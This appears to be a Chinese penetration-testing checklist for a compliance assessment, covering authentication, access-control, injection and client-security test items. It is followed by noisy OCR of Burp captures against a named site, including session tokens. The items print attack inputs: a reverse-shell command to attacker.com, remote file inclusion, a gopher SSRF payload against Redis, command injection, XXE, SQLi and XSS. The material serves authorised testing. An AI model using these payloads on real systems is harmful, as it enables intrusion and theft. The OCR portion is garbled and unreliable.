验证测试工具书（安全计算环境）
说明：本工具书可应用于微信小程序、Web应用渗透测试及C/S客户端系统的验证与安全测试工作。
	安全控制点
	控制项
	对应漏洞类型
	检测手段
	严重程度
	测试项核对表

	身份鉴别
	a）应对登录的用户进行身份标识和鉴别，身份标识具有唯一性，身份鉴别信息具有复杂度要求并定期更换；
	1.1任意用户登录
	1. 弱身份验证逻辑检查
·固定用户名测试：尝试使用任意密码登录存在的用户名，查看系统响应。
·密码为空：很多系统忘记限制空密码或默认密码可登录。
	高危
	[image: ]

	
	
	
	2. 逻辑绕过检查
·修改请求参数尝试绕过。
·前端校验失效：有些系统只做了JS校验，在请求中去掉字段照样成功。
	高危
	[image: ]
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	3. 认证绕过漏洞检查
·SQL 注入。
·JWT Token篡改。
	高危
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	4. 会话固定攻击检查
·目标系统未在登录后重置session_id。
·攻击者可提前发送带session的链接，用户登录后该session被劫持。
	高危
	[image: ]
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	1.2账户枚举和可猜解用户账户
	1. 认证接口反馈差异
·返回不同错误提示（用户不存在或密码错误），可被爆破判断用户名是否存在。
	低危
	☑已测

	
	
	
	2. 注册/找回密码功能
·若提示：该邮箱未注册 → 存在枚举风险
·注册功能中用户名检测接口可无限调用
	低危
	☑已测

	
	
	
	3. 公开资产辅助枚举
·企业常用邮箱规则
·员工工号、邮箱前缀规律
	低危
	☑已测

	
	
	1.3任意用户注册
	1.权限绕过创建高权限账号：
·通过修改注册请求参数（如角色ID、权限字段）尝试创建管理员账户。
	高危
	不存在注册功能
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	2.敏感用户名/邮箱注册：
·尝试注册包含敏感关键词（如admin、root）的用户名或邮箱，验证系统是否拦截。
	低危
	☑已测

	
	
	
	3.未验证邮箱/手机号完成注册：
·在注册流程中跳过验证步骤，直接提交请求，检查是否无需验证即可激活账户。
	低危
	☑已测

	
	
	1.4弱密码
	1. 密码复杂度策略检查：
·尝试设置简单密码（如123456、password），验证系统是否强制复杂度要求（大小写、特殊字符、长度）。
	高危
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	2.历史密码复用测试：
·修改密码时尝试使用之前已用过的密码，检查系统是否禁止复用。
	高危
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	3.默认密码测试：
·对默认账户（如admin、guest）尝试使用常见默认密码（admin123、1234）登录。
	高危
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	1.5其他脆弱认证渠道
	1.备用认证接口测试：
·检查是否存在未受保护的API或隐藏登录入口（如`/api/login`），尝试绕过主认证逻辑。
	高危
	[image: ]

	
	
	
	2.OAuth/SSO配置错误：
·测试第三方登录（如微信、Google）是否存在配置错误导致未授权访问。
注：根据现场测试情况，判断高危还是低危 
	高危
	不存在三方登录
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	b）应具有登录失败处理功能，应配置并启用结束会话、限制非法登录次数和当登录连接超时自动退出等相关措施；
	1.6口令爆破
1.7验证码绕过
1.8失败登录限制绕过
1.9会话超时
	1.爆破工具测试：
·使用Hydra或Burp Intruder尝试高频次密码爆破，验证系统是否限制尝试次数或触发锁定机制。
	中危
	☑已测

	
	
	
	2.验证码逻辑绕过：
·通过重复使用同一验证码、删除验证码参数或禁用前端JS，测试是否可绕过验证码校验。
	中危
	☑已测

	
	
	
	3.会话超时测试：
·登录后长时间无操作，检查系统是否自动注销会话。
	中危
	☑已测

	
	c）当进行远程管理时，应采取必要措施防止鉴别信息在网络传输过程中被窃听；
	1.10鉴别信息明文传输
	1.抓包分析：
·使用Yakit或Burp Suite捕获登录请求，检查密码或Token是否以明文传输，包含不加盐的MD5传输。
	高危
	https证书加密
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	2.协议安全性测试：
·验证远程管理是否强制使用加密协议（如SSH、HTTPS），禁止HTTP/FTP。
	高危
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	d）应采用口令、密码技术、生物技术等两种或两种以上组合的鉴别技术对用户进行身份鉴别，且其中一种鉴别技术至少应使用密码技术来实现。
	1.11短信验证码绕过
1.12双因子认证绕过
	1.验证码重放攻击：
·尝试重复使用已失效的短信验证码或静态Token。
	高危
	不存在验证码功能
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	2.双因子逻辑缺陷：
·在完成第一步认证后，跳过或篡改第二因子验证步骤（如删除2FA参数）。
	高危
	不存在双因子认证
[image: ]

	访问控制
	a）应对登录的用户分配账户和权限；
	2.1未授权访问
2.2绕过授权访问
	1.直接资源访问测试 
·未登录状态下直接访问需授权资源（如/admin、/api/user/list），检查是否返回403状态码或强制跳转登录。
·使用低权限账户登录后，尝试访问高权限功能（如删除用户、修改配置）。
	高危
	[image: ]

	
	
	
	2.参数篡改测试
修改URL或请求参数中的资源ID（如user_id=1001→user_id=1002），验证是否可越权操作他人数据。 
·篡改角色标识（如role=user→role=admin），检查权限是否动态更新。
	高危
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	3.API端点遍历测试
使用工具（Postman、Burp Suite）遍历API接口，验证是否存在未保护的敏感端点（如/api/deleteAll）。 
·测试HTTP方法（如GET、POST、PUT）是否被错误配置（如GET请求触发删除操作）。
	高危
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	4.权限继承逻辑检查
验证用户组权限继承关系，测试子账户是否意外继承父组的高权限。 
·检查多角色用户权限叠加时是否产生越权漏洞。
	高危
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	5.会话/Token权限绑定测试 
·登录低权限账户后，替换请求中的Token为高权限用户的Token，验证后端是否校验权限一致性。 
·使用已注销或过期的Token尝试访问资源，检查系统是否拒绝请求。
	高危
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	b）应重命名或删除默认账户，修改默认账户的默认口令；
	2.3存在默认帐户
2.4默认口令
	1.默认账户扫描测试 
·使用工具（Nmap、Metasploit）扫描目标系统，检测是否存在常见默认账户（如admin、root、guest）。
·检查数据库、中间件（如MySQL的root、Tomcat的manager）的默认管理账户是否被删除或重命名。
	低危
	☑已测

	
	
	
	2.默认口令爆破测试 
·对保留的默认账户（如admin）使用Hydra或Burp Suite尝试常见默认密码（如admin123、password）。 
·测试系统是否强制首次登录修改默认口令（如未修改则允许直接登录）。
	高危
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	3.配置文件审计 
·检查系统配置文件（如/etc/passwd、Windows SAM文件）是否存在未删除的默认账户条目。 
·验证服务配置文件（如Apache的httpd.conf、MySQL的my.cnf）中是否禁用默认账户权限。
	高危
	目标系统核心配置文件受访问控制保护，测试过程中无法获取文件内容
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	4.云服务默认账户检查 
·测试云平台（如AWS IAM用户、阿里云RAM账户）是否保留默认管理员账户。 
·验证云服务（如Kubernetes Dashboard、Redis）的默认访问令牌是否被修改。
	高危
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	c）应及时删除或停用多余的、过期的账户，避免共享账户的存在；
	2.5存在测试帐号
	1.默认测试账户扫描
·使用字典（如test、demo）尝试登录，验证是否存在未删除的测试账户。
	低危
	☑已测

	
	
	
	2.历史账户恢复测试
·尝试通过修改已禁用账户的状态参数（如`is_active=1`）重新激活账户。
	低危
	☑已测

	
	e）应由授权主体配置访问控制策略，访问控制策略规定主体对客体的访问规则；
	2.5.1本地用户提权。
	1.本地权限漏洞利用
·在系统本地执行提权命令（如sudo提权、DLL注入），验证是否限制普通用户权限。
	中危
	☑已测

	
	f）访问控制的粒度应达到主体为用户级或进程级，客体为文件、数据库表级；
	2.6垂直越权
2.7平行越权
2.8任意文件下载
2.9目录遍历
2.10路径遍历
2.11管理后台对外
2.12同步错误
2.13环境错误
2.14 cookie设置不当
2.15 flash 配置不当
2.16中间件配置不当
2.17备份文件下载
2.18不安全的HTTP请求方法2.19不安全对象直接引用
2.20 CSRF漏洞
2.21可预测的资源位置
2.22 XML外部实体（XXE）
2.23 接口调用次数无限制
	1.垂直越权 
·使用普通账户尝试访问管理接口（如/admin/user/delete），验证是否返回403错误。 
·通过修改URL路径（如/user/profile→/admin/config）测试权限校验逻辑。
	高危
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	2.平行越权 
·修改请求参数中的资源ID（如order_id=1001→order_id=1002），检查是否可操作他人数据。 
·利用API接口未绑定用户身份的特性，直接调用他人资源接口（如GET /api/orders/1002）。
	高危
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	3.任意文件下载
·构造恶意路径参数（如/download?file=../../etc/passwd），尝试下载敏感文件。 
·使用编码绕过（如%2e%2e%2f代替../）探测文件读取漏洞。
	高危
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	4.目录遍历
·在文件上传功能中尝试上传路径穿越文件名（如../../../malware.php）。
·测试Web服务器配置（如Apache AllowOverride设置不当）导致的目录列表暴露。
	高危
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	5.路径遍历
注入恶意路径片段（如`/api/load?path=`）。
	高危
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	6.管理后台对外
·使用目录爆破工具（dirsearch）扫描常见管理路径（如/admin/、/wp-admin/）。 
·检查是否禁用管理接口的互联网访问（仅限内网
IP访问）。
	中危
	☑已测

	
	
	
	7.同步错误
·并发请求资源修改接口（如余额提现），验证是否出现超额操作。 
·利用时间窗口漏洞重复提交相同请求（如重复领取优惠券）。
	高危
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	8.环境错误
·测试开发环境配置误切到生产环境（如.env.prod文件未保护）。 
·验证调试模式（如DEBUG=True）是否暴露敏感堆栈信息。
	高危
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	9. cookie设置不当
·检查Cookie是否未设置HttpOnly、Secure属性（可通过浏览器开发者工具查看）。
·测试Session Fixation漏洞：未登录前获取固定Session ID，登录后验证是否复用。
	低危
	☑已测

	
	
	
	10. flash 配置不当
·检查crossdomain.xml文件是否允许任意域访问（如<allow-access-from domain="*"/>）。 
·验证Flash文件（SWF）是否包含敏感硬编码信息（如密钥）。
	低危
	☑已测

	
	
	
	11.中间件配置不当
·检查Nginx/Apache配置是否禁用危险指令（如add_header X-Content-Type-Options缺失）。 
·验证Tomcat未删除默认管理页面（如/manager/html）。
·验证Tomcat是否存在版本泄漏。
	低危
	☑已测

	
	
	
	12.备份文件下载
·扫描常见备份文件名（如web.bak、database.sql.zip）。 
·利用版本控制工具泄露（如.git/目录未删除导致源码泄露）
	高危
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	13.不安全的HTTP请求方法
·使用OPTIONS方法探测支持的HTTP动词，验证是否禁用危险方法（如PUT、DELETE）。 
·测试TRACE方法是否启用（可能导致跨站追踪攻击）。
	低危
	☑已测

	
	
	
	14.不安全对象直接引用
·修改数据库主键参数（如/api/user?id=1001→id=1002）
访问他人数据。
·通过枚举UUID或哈希值猜测未授权资源标识符。
	中危
	☑已测

	
	
	
	15. CSRF漏洞
·构造恶意表单或链接，测试关键操作（如修改密码）是否缺少CSRF Token验证。 
·检查Token绑定逻辑（如Token未与用户会话绑定）。
	中危
	☑已测

	
	
	
	16.可预测的资源位置
·通过递增ID（如/file/1→/file/2）遍历未授权访问文件。 
·测试短链或哈希值是否可逆向推导资源路径。
	中危
	☑已测

	
	
	
	17.XML外部实体（XXE）
·在XML请求中注入外部实体（如<!ENTITY xxe SYSTEM "file:///etc/passwd">）。 
·测试XML解析器是否禁用DTD处理（如libxml_disable_entity_loader(true)）。
	高危
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	18.接口调用次数无限制
·高频调用短信发送接口（如每秒10次请求），验证是否触发频率限制。 
·通过多IP或代理池绕过IP黑名单策略。
	低危
	☑已测

	安全审计
	c）应对审计记录进行保护，定期备份，避免受到未预期的删除、修改或覆盖等；
	3.1越权删除审计记录
	1.越权删除审计记录
·尝试以普通用户身份删除或修改审计日志文件（如/var/log/secure），验证权限限制。 
·验证日志备份策略（如是否每日压缩备份至独立存储）。
	高危
	[image: ]

	入侵防范
	d）应提供数据有效性检验功能，保证通过人机接口输入或通过通信接口输入的内容符合系统设定要求；
	4.1 SQL注入
4.2 LDAP注入
4.3 ORM注入
4.4 XML注入
4.5 SSI注入
4.6 Xpath注入
4.7 CRLF注入
4.8 IMAP/SMPT注入
4.9代码注入
4.10命令注入
4.11本地文件包含
4.12远程文件包含
4.13命令执行
4.14存储型XSS
4.15反射型XSS
4.16基于DOM的XSS
4.17基于flash的XSS
4.18 SSRF漏洞
4.19任意文件上传
4.20 URL重定向漏洞
4.21格式化字符串处理
4.22缓冲区堆溢出
4.23缓冲区栈溢出
4.24缓冲区越界操作
4.25整数溢出
4.26同步错误
4.27意外处理错误
4.28点击劫持
4.29过程验证缺失
4.30 HTTP参数篡改
4.31 HTTP参数污染

	1.SQL注入
·在输入字段注入' OR 1=1--、' UNION SELECT @@version--，检查是否返回数据库错误或数据泄露。 
·使用SQLMap工具自动化探测注入点（sqlmap -u "http://target.com/search?q=1"）。
2.LDAP注入
	高危
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	3.ORM注入
·测试Hibernate或Django ORM的查询参数（如User.objects.raw("SELECT * FROM users WHERE name='%s'" % name)），验证是否过滤特殊字符。
	高危
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	4.XML注入
·提交恶意XML实体（如<!ENTITY xxe SYSTEM "file:///etc/passwd">），检查是否触发文件读取或SSRF。
	高危
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	5.SSI注入
·输入<!--#exec cmd="ls /"-->，测试服务器是否执行系统命令
	高危
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	6.Xpath注入
·例如注入' or 1=1 or 'a'='a，验证是否返回全部数据。
	高危
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	7.CRLF注入
·输入%0d%0aSet-Cookie: hacker=1，检查响应头是否被篡改。
	高危
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	8.IMAP/SMPT注入
·在邮箱登录字段输入test@example.com<LF>LIST，验证是否执行未授权命令。
	高危
	不存在邮箱功能
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	9.代码注入
·在可执行命令的输入中提交例如eval(request.getParameter("code"))的恶意代码片段。
	高危
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	10.命令注入
·在可执行命令的输入中拼接;cat /etc/passwd或whoami
·在可执行命令的输入中拼接||cat /etc/passwd 或whoami
·根据系统判断其他绕过字符
	高危
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	11.本地文件包含
·在可输出的参数处注入/etc/passwd或../../../../etc/passwd，验证是否读取敏感文件。
	高危
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	12.远程文件包含
在可输入的参数处输入http://attacker.com/shell.txt，检查服务器是否加载外部恶意文件。
	高危
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	13.命令执行
·输入127.0.0.1 && nc -e /bin/sh attacker.com 4444，测试反向Shell执行
·在有回显的情况下输入whoami查看权限，输入ipconfig、ifconfig等查看命令执行情况
	高危
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	14.存储型XSS
·提交<script>alert(1)</script>至评论区，验证脚本是否被存储并触发。
	高危
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	15.反射型XSS
·在URL参数中注入<img src=x onerror=alert(1)>，检查是否弹窗。
	中危
	☑已测

	
	
	
	16.基于DOM的XSS
·修改document.location.hash为#<script>alert(1)</script>，测试DOM解析漏洞。
	低危
	☑已测

	
	
	
	17.基于flash的XSS
·检查crossdomain.xml是否允许任意域（<allow-access-from domain="*"/>）。
	中危
	☑已测

	
	
	
	18.SSRF漏洞
·测试gopher协议（如gopher://127.0.0.1:6379/_*2%0d%0a$4%0d%0aINFO%0d%0a攻击Redis）。
·尝试ftp协议读取文件（如ftp://attacker.com/../../etc/passwd）
	高危
	[image: ]

	
	
	
	19.任意文件上传
·根据网站开发语言上传.php\.aspx\.jsp等文件并修改Content-Type为image/png，验证是否成功绕过校验。
·根据文件上传绕过总结进行测试https://www.cnblogs.com/yokan/p/15252077.html
	高危
	[image: ]

	
	
	
	20.URL重定向漏洞
·在包含链接的参数处输入redirect=http://phishing.com，检查是否跳转至外部
恶意站点。
	低危
	☑已测

	
	
	
	21.格式化字符串处理
·输入%n%n%n，测试是否触发内存崩溃或信息泄露
	低危
	☑已测

	
	
	
	22.缓冲区堆溢出
·提交超长字符串（如5000个字符），验证是否导致进程崩溃
	中危
	☑已测

	
	
	
	23.缓冲区栈溢出
·构造恶意输入覆盖返回地址（如AAAABBBBCCCC...），触发程序异常。
	中危
	☑已测

	
	
	
	24.缓冲区越界操作
·通过数组索引越界（如array[100000]）测试内存越界访问
	中危
	☑已测

	
	
	
	25.整数溢出
·输入超大数值（如2147483647+1），验证是否导致逻辑错误
	中危
	☑已测

	
	
	
	26.同步错误
·竞态条件漏洞验证 
并发请求余额提现接口，检查是否超额提现（如10次请求扣款1次）
	中危
	☑已测

	
	
	
	27.意外处理错误
·异常处理缺陷测试 
触发系统错误（如除零操作），验证是否暴露堆栈跟踪信息。
	低危
	☑已测

	
	
	
	28.点击劫持
·页面嵌套劫持检测
测试是否缺失X-Frame-Options头或frame-ancestors CSP指令。
	中危
	☑已测

	
	
	
	29.过程验证缺失
·业务逻辑绕过测试
[bookmark: _GoBack]跳过支付步骤直接访问订单完成接口（如POST /order/complete）。
	高危
	不存在支付功能
[image: ]

	
	
	
	30.HTTP参数篡改
·参数篡改攻击验证
修改price=100→price=0，验证后端是否校验参数合法性。
	低危
	☑已测

	
	
	
	31.HTTP参数污染
·多参数混淆测试 
提交重复参数（如user=admin&user=guest），检查后端处理逻辑是否混乱。
	低危
	☑已测

	
	
	C/S客户端
1.1键盘消息记录
1.2动态调试防护
	1.1键盘消息记录
恶意软件可以通过 SetWindowsHookEX 函数，这个函数进行全局消息钩取，得到目标的。
	中危
	□已测

	
	
	
	1.2动态调试防护
检查客户端程序是否存在动态
调试的防护功能，使用X64DBG和OLLYDBG对客户端程序进行动态调试检测。
	高危
	

	
	e）应能发现可能存在的已知漏洞，并在经过充分测试评估后，及时修补漏洞；
	4.32Web漏洞
4.33操作系统及通用软件漏洞
	1.Web漏洞
·对网站和进行指纹扫描、或人工经验识别网站使用的通用CMS架构、寻找历史公开漏洞进行漏洞复现。
	低危
	☑已测

	
	
	
	2.操作系统及通用软件漏洞
·对系统使用Nmap脚本引擎（nmap-sV--script vuln）检测开放服务（如SSH、SMB）的已知漏洞（如永恒之蓝）
注：根据现场判断，如已知漏洞（如永恒之蓝）为高危
	高危
	[image: ]

	恶意代码防范
	a）应采用免受恶意代码攻击的技术措施或主动免疫可信验证机制及时识别入侵和病毒行为，并将其有效阻断
	C/S客户端
1.1DLL注入
1.2DLL劫持
	1.1DLL注入
测试过程中，使用进程注入工具对客户端进行DLL注入操作，观察注入后产生的结果。
	高危
	

	
	
	
	1.2DLL劫持
攻击者通过一些手段来劫持或者替换正常的DLL，欺骗正常程序加载预先准备好的恶意DLL，而后实现其恶意的目的。
	高危
	

	数据完整性
	a）应采用校验技术或密码技术保证重要数据在传输过程中的完整性，包括但不限于鉴别数据、重要业务数据、重要审计数据、重要配置数据、重要视频数据和重要个人信息等；
	5.1会话劫持
5.2支付逻辑漏洞
	1.会话令牌安全性测试 
·检查会话Cookie是否缺失HttpOnly、Secure属性（通过浏览器开发者工具查看）。 
·验证会话ID随机性：多次登录生成的新会话ID是否具备强随机性（如长度≥128位）。
	低危
	☑已测

	
	
	
	2.中间人攻击（MITM）验证 
·使用Wireshark捕获HTTP请求，检查敏感数据（如Token、密码）是否明文传输。 
·测试HTTPS是否强制启用且未混合HTTP内容（如HSTS头配置）。
	低危
	☑已测

	
	
	
	3.会话固定攻击检测 
·登录前获取固定Session ID，登录后验证是否仍有效（若有效则存在漏洞）。
	中危
	☑已测

	
	b）应采用校验技术或密码技术保证重要数据在存储过程中的完整性，包括但不限于鉴别数据、重要业务数据、重要审计数据、重要配置数据、重要视频数据和重要个人信息等。
	5.3 敏感数据可被篡改
	1.数据篡改测试 
·通过SQL注入或未授权API接口直接修改数据库字段（如用户余额、权限等级），验证是否触发完整性校验。 
·篡改本地存储文件（如JSON配置文件）后重启服务，检查系统是否检测到数据异常。
	高危
	[image: ]

	
	
	C/S客户端
1.1程序加壳检测
1.2签名检测
1.3逆向分析/反编译防护
1.4客户端程序完整性校验
	1.1程序加壳检测
识别文件查看客户端程序文件的编译器连接器信息。对exe文件进行检查，未发现具有加壳防护。
	高危
	

	
	
	
	1.2签名检测
用于辨别程序或者第三方库是否可信的重要途径之一，同时有效防止程序篡改或者被替换。
	中危
	□已测

	
	
	
	1.3逆向分析/反编译防护
对程序文件逆向分析，能否获取到程序的汇编代码。
	高危
	

	
	
	
	1.4客户端程序完整性校验
程序可以进行修改，如果程序在进行修改之后程序仍然正常运行，则用户无法感知程序被篡改而造成信息泄露。
	高危
	

	数据保密性
	a）应采用密码技术保证重要数据在传输过程中的保密性，包括但不限于鉴别数据、重要业务数据和重要个人信息等；
	6.1通过未加密的通道传输敏感信息
6.2不安全的加密算
法
6.3支付逻辑漏洞
	1.传输协议安全性检测 
·使用Yakit或BURP捕获HTTP请求，检查密码、Token是否明文传输。
	中危
	☑已测

	
	
	
	2.支付逻辑漏洞测试 
·拦截支付请求，修改金额为负值（如amount=-100），验证后端是否拦截。 
·金额修改小数点后两位，测试系统对金额对精准度。
·测试退款接口是否允许重复请求导致资金损失。
	高危
	不存在支付功能
[image: ]

	
	
	1.1网络数据传输安全
	1.1网络数据传输安全
网络数据传输，可通过抓包工具进行数据流量的抓取，如SQL语句暴露，
攻击者可通过暴露的SQL语句来对服务器进行攻击。
	高危
	

	剩余信息保护
	a）应保证鉴别信息所在的存储空间被释放或重新分配前得到完全清除；
	C/S客户端
1.1内存安全
1.2本地文件安全
1.3本地调试安全
1.4本地注册表安全
	1.1内存安全
应用登录后，可能会将登录信息存放在内存里，导致用户敏感信息泄露。
	高危
	

	
	
	
	1.2本地文件安全
检测所有的本地文件，查看是否存在配置文件泄露数据库密码、用户密码缓存文件等。
	高危
	

	
	b）应保证存有敏感数据的存储空间被释放或重新分配前得到完全清除；
	
	1.3本地调试安全
应用开启本地调试功能后，登录后的用户名和密码会被保存在调试日志内，这样就可能被有心人利用，从而获取用户的登录信息。
	高危
	

	
	
	
	1.4本地注册表安全
应用登录后，可能会将登录信息存放在注册表里，导致用户名密码等敏感信息泄露。
	中危
	□已测


	


注：应对所有高风险测试项进行截图并填写到测试项核对表，对中风险与低风险项逐一对应测评项完成勾选确认。
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Request
Pretty  Raw  Hex B wn =
1 POST /p/menu/getButtons HITP/1. 1
2 Host: zhdc. shoutonghuicheng. cn
3 Cookie: _bl_uid=jXmmCmRtyFC7b8h74y3nsFzml41j; _token=
ABtQONxLpaiFEQB1Sdh0tAyGn2CikVRK%2FQAWS202Xz2u%2BcoY i 1ioPapdb7NVWwhMX%2FRd jxUSkyegPFu%2FP
EswgQ%3D%3D
4 Content-Length: 46
5 Sec~Ch-Ua-Platform: "Windows"
6 Cache-Control: max-age=28880
7 Sec~Ch-Ua: "Chromium";v="146", "Not-A.Brand";v="24", "Microsoft Edge";v="146"
8 Sec-Ch-Ua-Mobile: 20
9 Eagleeye-Traceid: 5e4b474e177397131083213794a6fe
10 Eagleeye-Sessionid: 1bm97mnCyOk8L6pearg3sRd19kly
11 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHIML, like
Gecko) Chrome/146.0. 0.0 Safari/537.36 Edg/146.0.0.0
12 Accept: application/json, text/plain, */*
13 Content-Type: application/x-www-form-urlencoded
14 Eagleeye-Pappname: dvg25czqks@5589f82bcT4abfe
15 Origin: https://zhdc. shoutonghuicheng. cn
16 Sec-Fetch-Site: same-origin
17 Sec-Fetch-Mode: cors
18 Sec-Fetch-Dest: empty
19 Referer: https://zhdc. shoutonghuicheng. cn/dist/
20 Accept-Encoding: gzip, deflate
21 Accept-Language: zh-CN,zh;q=0. 9, en; q=0. 8, en-GB; ¢=0. 7, en-US; q=0. 6
2 Priority: u=l, i
23 Connection: close
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Request

Pretty  Raw  Hex 8 n =

1 POST /p/menu/getButtons HITP/1. 1

2 Host: zhdc. shoutonghuicheng. cn

3 Cookie: _bl_uid=jXmmCmRtyFC7b8h74y3nsFzml41j; _token=
ABtQONxLpaiFEQB1Sdh0tAyGn2CikVRK%2FQAWS202Xz2u%2BcoY i 1ioPapdb7NVWwhMX%2FRd jxUSkyegPFu%2FP
EswgQ%3D%3D

4 Content-Length: 46

5 Sec~Ch-Ua-Platform: "Windows"

6 Cache-Control: max-age=28880

7 Sec~Ch-Ua: "Chromium";v="146", "Not-A.Brand";v="24", "Microsoft Edge";v="146"

8 Sec-Ch-Ua-Mobile: 20

9 Eagleeye-Traceid: 2647a4a6177398998946610064a6fe

|0 Eagleeye-Sessionid: m6my2mlyyyvjFLu2345lamk94hRt

|1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/146.0. 0.0 Safari/537.36 Edg/146.0.0.0

12 Accept: application/json, text/plain, */*

|3 Content-Type: application/x-www-form-urlencoded

|4 Eagleeye-Pappname: dvg25czqks@5589f82bcT4abfe

15 Origin: https://zhdc. shoutonghuicheng. cn

|6 Sec-Fetch-Site: same-origin

|7 Sec-Fetch-Mode: cors

|8 Sec-Fetch-Dest: empty

19 Referer: https://zhdc. shoutonghuicheng. cn/dist/

20 Accept-Encoding: gzip, deflate

2| Accept-Language: zh-CN,zh;q=0.9,en;q=0. 8, en-GB; q=0. 7, en-US; q=0. 6

Priority: u=1, i

)3 Connection: close

24
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Results  Positions  Payloads ~ Resource pool  Settings

Filter: Showing all items
Request Payload Status  Eror Timeout Length - Comment
200 [u] e
7S juerswaggeruibtml 200 35
76 /user/swagger-ui.html/ 200 [m] O 355
63 /swaggerjson 404 u] [ 305
64 /swagger.ym| 404 [m] O 304
83 /indexhtml 404 [m] 303
4 /apihtml 404 u] o 301
41 /dochtml 404 u] o 301
47 /spring-security-oauth-resou... 404 u] [ 300
74 /template/swagger-uihtml 404 u] [ 300
20 fanidncs. ana iml iml 209,

Request B Responselil

Pretty Raw  Hex  Render

1 HTTP/1. 1 200 OK

2 Date: Fri, 20 Mar 2026 02:20:16 GMT

3 Content-Type: application/json; charset=utf-8
4 Connection: close

5 X-Content-Type-Options: nosniff

6 X-XSS-Protection: 0

7 Content-Security-Policy: manifest-src 'self'
8 X_NO_CACHE: 1

9 Content-Length: 98

10

11 {

"code": 1,

"message": "H A4 KM ",
"time": "1773973216",
"data": [

1,

"trace_id": "69bcaee0d6dlc"

}

n
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image15.png
Pretty Raw  Hex n = Pretty Raw  Hex  Render
1 POST /api/identity/lists HTTP/L.1 1 HTTP/1.1 200 OK

2 Host: zhdc. shoutonghuicheng. cn 2 Date: Fri, 20 Mar 2026 02:19:39 GMT

3 Content-Length: 42 3 Content-Type: application/json; charset=utf-8
4 Sec~Ch-Ua-Platform: "Windows" 4 Connection: close

5 Cache-Control: max-age=28880 5 X-Content-Type-Options: nosniff

6 Sec~Ch-Ua: "Chromium";v="146", "Not-A.Brand";v="24", "Microsoft 6 X-XSS-Protection: 0

Edge"; 46" 7 Content-Security-Policy: manifest-src 'self'
7 Sec-Ch-Ua-Mobile: 20 8 X_NO_CACHE: 1

8 Eagleeye-Traceid: b80ac219177397317927210014a6fe 9 Content-Length: 97

9 Eagleeye-Sessionid: IRmCFmXRybq9U7t9vthhgl35LUbU 10
10 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) 11 {

AppleWebKit/537. 36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 "code": 100,

Edg/146.0.0.0 "message": " K HET",

11 Accept: application/json, text/plain, */* "time": "1773973179",
12 Content-Type: application/json;charset=UTF-8 "data": [
13 Eagleeye-Pappname: dvg25czqks@5589f82bcT4abfe 1.
14 Origin: https://zhdc. shoutonghuicheng. cn "trace_id": "69bcaebb8bdal”
15 Sec-Fetch-Site: same-origin }
16 Sec-Fetch-Mode: cors
17 Sec-Fetch-Dest: empty
18 Referer: https://zhdc. shoutonghuicheng. cn/dist/
19 Accept-Encoding: gzip, deflate
20 Accept-Language: zh-CN,zh;q=0.9,en;q=0. 8, en-GB; q=0. 7, en-US; ¢=0. 6
21 Priority: u=l, i
22 Connection: close

3
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Request

Pretty  Raw  Hex

1 POST /p/role/lists HTTP/1.1

2 Host: zhdc. shoutonghuicheng. cn

3 Cookie: _bl_uid=jXmmCmRtyFC7b8h74y3nsFzml41j; _token=
ABtQONxLpaiFEQB1Sdh0tAyGn2CikVRK%2FQAWS202Xz2u%2BcoY i 1ioPapdb7NVWwhMX%2FRd jx
UkyegPFu%2FPEswgQ%3D%3D

4 Content-Length: 6

5 Sec~Ch-Ua-Platform: "Windows"

6 Cache-Control: max-age=28880

7 Sec~Ch-Ua: "Chromium";v="146",

46"

8 Sec-Ch-Ua-Mobile: 20

9 Eagleeye-Traceid: 9b104ad2177399042792310084a6fe

10 Eagleeye-Sessionid: 1kmbzmC2ylqk41338i2t1d9u717k

11 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Edg/146.0.0.0

12 Accept: application/json, text/plain, */*

13 Content-Type: application/x-www-form-urlencoded

14 Eagleeye-Pappname: dvg25czqks@5589f82bcT4abfe

15 Origin: https://zhdc. shoutonghuicheng. cn

16 Sec-Fetch-Site: same-origin

17 Sec-Fetch-Mode: cors

18 Sec-Fetch-Dest: empty

19 Referer: https://zhdc. shoutonghuicheng. cn/dist/

20 Accept-Encoding: gzip, deflate

21 Accept-Language: zh-CN,zh;q=0. 9, en; q=0. 8, en-GB; ¢=0. 7, en-US; q=0. 6

22 Priority: u=1, i

: close

"Microsoft

"Not-A. Brand";v="24",

Query params B n =

Response
Pretty Raw  Hex

1 HTTP/1. 1 200 OK
2 Date: Fri, 20 Mar 2026 07:07:21 GMT

3 Content-Type: application/json; charset=utf-8
4 Connection: close

5 X-Content-Type-Options: nosniff

6 X-XSS-Protection: 0

7 Content-Security-Policy: manifest-src 'self'

8 X_NO_CACHE: 1

9 Content-Length: 79

10

11 {

Render B n =

"code":0,
"message "L
"data": {
"data": [
1.
"total":1
Iz
"trace_id": "69bcf229¢b139"

}
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Pretty  Raw  Hex n = Pretty Raw  Hex  Render
1 POST /p/role/lists HTTP/1.1 1 HTTP/1.1 200 OK
2 Host: zhdc. shoutonghuicheng. cn 2 Date: Fri, 20 Mar 2026 07:07:56 GMT
3 Content-Length: 6 3 Content-Type: application/json; charset=utf-8
4 Sec~Ch-Ua-Platform: "Windows" 4 Connection: close
5 Cache-Control: max-age=28880 5 X-Content-Type-Options: nosniff
6 Sec-Ch-Ua: "Chromium";v="146", "Not-A.Brand";v="24", "Microsoft 6 X-XSS-Protection: 0
Edge" "146" 7 Content-Security-Policy: manifest-src 'self'
7 Sec-Ch-Ua-Mobile: 20 8 X_NO_CACHE: 1
8 Eagleeye-Traceid: 9b104ad2177399047587410164a6fe 9 Content-Length: 110
9 Eagleeye-Sessionid: bsmnem91lyvIkR54qmjmmm3s79z0F 10
10 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) 11 {
AppleWebKit/537. 36 (KHTML, like Gecko) Chrome/146.0.0.0 "code": 1,
Safari/537.36 Edg/146.0.0.0 "message": " %A AR IF E LA EE",
Il Accept: application/json, text/plain, */* "time": "1773990476",
12 Cookie: _bl_uid=znmqXmOkyUL97e7vC020ulXs0t84; _token= "data": [
u%2FV0zViuun511x0CVYzS1XPn8NaCIAufkAx 1%2B7oMSNUT%2BdD6hUOpa%2BoNZVX 1.
